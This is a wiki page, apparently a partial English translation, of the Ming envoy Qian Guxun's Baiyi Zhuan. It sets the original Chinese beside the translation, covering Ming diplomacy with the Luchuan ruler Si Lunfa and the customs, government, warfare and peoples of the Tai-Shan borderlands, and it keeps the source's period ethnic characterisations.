|『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 | |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] qcf4mc6w7tft3zqc7qt52qnyfv256n9 4670865 4670842 2026-09-18T06:37:12Z Taitesena 3485636 4670865 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married 